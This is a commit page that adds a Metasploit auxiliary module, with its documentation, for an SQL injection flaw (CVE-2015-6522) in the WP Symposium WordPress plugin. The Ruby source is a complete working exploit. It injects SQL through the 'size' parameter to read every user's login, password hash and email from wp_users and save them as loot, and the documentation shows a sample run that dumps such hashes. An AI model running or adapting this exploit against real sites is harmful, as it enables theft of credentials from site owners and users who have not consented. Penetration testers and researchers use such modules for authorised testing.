Skip to content

Commit 9325ef8

Browse files
committed
Land rapid7#7573, Add WP Symposium Plugin SQLI aux mod to steal credentials
2 parents 174cd74 + 6b5dba7 commit 9325ef8

File tree

2 files changed

+215
-0
lines changed

2 files changed

+215
-0
lines changed
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
## Vulnerable Application
2+
3+
The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress
4+
Symposium plugin before 15.8. The Pro module version has not been verified.
5+
6+
To download the vulnerable application, you can find it here:
7+
https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip
8+
9+
## Verification Steps
10+
11+
1. Start msfconsole
12+
2. Do: ```use auxiliary/admin/http/wp_symposium_sql_injection```
13+
3. Do: ```set RHOST <ip>```
14+
4. Set TARGETURI if necessary.
15+
5. Do: ```run```
16+
17+
## Scenarios
18+
19+
Example run against WordPress Symposium plugin 15.5.1:
20+
21+
```
22+
msf > use auxiliary/admin/http/wp_symposium_sql_injection
23+
msf auxiliary(wp_symposium_sql_injection) > show info
24+
25+
Name: WordPress Symposium Plugin SQL Injection
26+
Module: auxiliary/admin/http/wp_symposium_sql_injection
27+
License: Metasploit Framework License (BSD)
28+
Rank: Normal
29+
Disclosed: 2015-08-18
30+
31+
Provided by:
32+
PizzaHatHacker
33+
Matteo Cantoni <[email protected]>
34+
35+
Basic options:
36+
Name Current Setting Required Description
37+
---- --------------- -------- -----------
38+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
39+
RHOST yes The target address
40+
RPORT 80 yes The target port
41+
SSL false no Negotiate SSL/TLS for outgoing connections
42+
TARGETURI / yes The base path to the wordpress application
43+
URI_PLUGIN wp-symposium yes The WordPress Symposium Plugin URI
44+
VHOST no HTTP server virtual host
45+
46+
Description:
47+
SQL injection vulnerability in the WP Symposium plugin before 15.8
48+
for WordPress allows remote attackers to execute arbitrary SQL
49+
commands via the size parameter to get_album_item.php.
50+
51+
References:
52+
http://cvedetails.com/cve/2015-6522/
53+
https://www.exploit-db.com/exploits/37824
54+
55+
msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
56+
RHOST => 1.2.3.4
57+
msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
58+
TARGETURI => /html/wordpress/
59+
msf auxiliary(wp_symposium_sql_injection) > run
60+
61+
[+] 1.2.3.4:80 - admin $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. [email protected]
62+
[+] 1.2.3.4:80 - pippo $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ [email protected]
63+
[+] 1.2.3.4:80 - pluto $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ [email protected]
64+
[*] Auxiliary module execution completed
65+
```
Lines changed: 150 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,150 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HTTP::Wordpress
10+
11+
def initialize(info = {})
12+
super(update_info(
13+
info,
14+
'Name' => 'WordPress Symposium Plugin SQL Injection',
15+
'Description' => %q{
16+
This module exploits a SQL injection vulnerability in the WP Symposium plugin
17+
before 15.8 for WordPress, which allows remote attackers to extract credentials
18+
via the size parameter to get_album_item.php.
19+
},
20+
'Author' =>
21+
[
22+
'PizzaHatHacker', # Vulnerability discovery
23+
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
24+
],
25+
'License' => MSF_LICENSE,
26+
'References' =>
27+
[
28+
['CVE', '2015-6522'],
29+
['EDB', '37824']
30+
],
31+
'DisclosureDate' => 'Aug 18 2015'
32+
))
33+
34+
register_options(
35+
[
36+
OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
37+
], self.class)
38+
end
39+
40+
def check
41+
check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
42+
end
43+
44+
def uri_plugin
45+
normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
46+
end
47+
48+
def send_sql_request(sql_query)
49+
uri_complete = normalize_uri(uri_plugin)
50+
51+
begin
52+
res = send_request_cgi(
53+
'method' => 'GET',
54+
'uri' => uri_complete,
55+
'vars_get' => { 'size' => sql_query }
56+
)
57+
58+
return nil if res.nil? || res.code != 200 || res.body.nil?
59+
60+
res.body
61+
62+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
63+
vprint_error("#{peer} - The host was unreachable!")
64+
return nil
65+
end
66+
end
67+
68+
def report_cred(opts)
69+
service_data = {
70+
address: opts[:ip],
71+
port: opts[:port],
72+
service_name: opts[:service_name],
73+
protocol: 'tcp',
74+
workspace_id: myworkspace_id
75+
}
76+
77+
credential_data = {
78+
origin_type: :service,
79+
module_fullname: fullname,
80+
username: opts[:user],
81+
private_data: opts[:password],
82+
private_type: :nonreplayable_hash,
83+
}.merge(service_data)
84+
85+
login_data = {
86+
core: create_credential(credential_data),
87+
status: Metasploit::Model::Login::Status::UNTRIED,
88+
proof: opts[:proof]
89+
}.merge(service_data)
90+
91+
create_credential_login(login_data)
92+
end
93+
94+
def run
95+
vprint_status("#{peer} - Attempting to connect...")
96+
vprint_status("#{peer} - Trying to retrieve the first user id...")
97+
first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
98+
if first_id.nil?
99+
vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
100+
return
101+
else
102+
vprint_status("#{peer} - First user-id is '#{first_id}'")
103+
end
104+
105+
vprint_status("#{peer} - Trying to retrieve the last user id...")
106+
last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
107+
if last_id.nil?
108+
vprint_error("#{peer} - Failed to retrieve the last user id")
109+
return
110+
else
111+
vprint_status("#{peer} - Last user-id is '#{last_id}'")
112+
end
113+
114+
credentials = ""
115+
116+
vprint_status("#{peer} - Trying to retrieve the users informations...")
117+
for user_id in first_id..last_id
118+
separator = Rex::Text.rand_text_numeric(7,bad='0')
119+
user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
120+
121+
if user_info.nil?
122+
vprint_error("#{peer} - Failed to retrieve the users info")
123+
return
124+
else
125+
values = user_info.split("#{separator}")
126+
127+
user_login = values[0]
128+
user_pass = values[1]
129+
user_email = values[2]
130+
131+
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
132+
report_cred(
133+
ip: rhost,
134+
port: datastore['RPORT'],
135+
service_name: datastore['SSL'] ? 'https' : 'http',
136+
user: user_login,
137+
password: user_pass,
138+
proof: user_email
139+
)
140+
141+
credentials << "#{user_login},#{user_pass},#{user_email}\n"
142+
end
143+
end
144+
145+
unless credentials.empty?
146+
loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
147+
vprint_status("Credentials saved in: #{loot}")
148+
end
149+
end
150+
end

0 commit comments

Comments
 (0)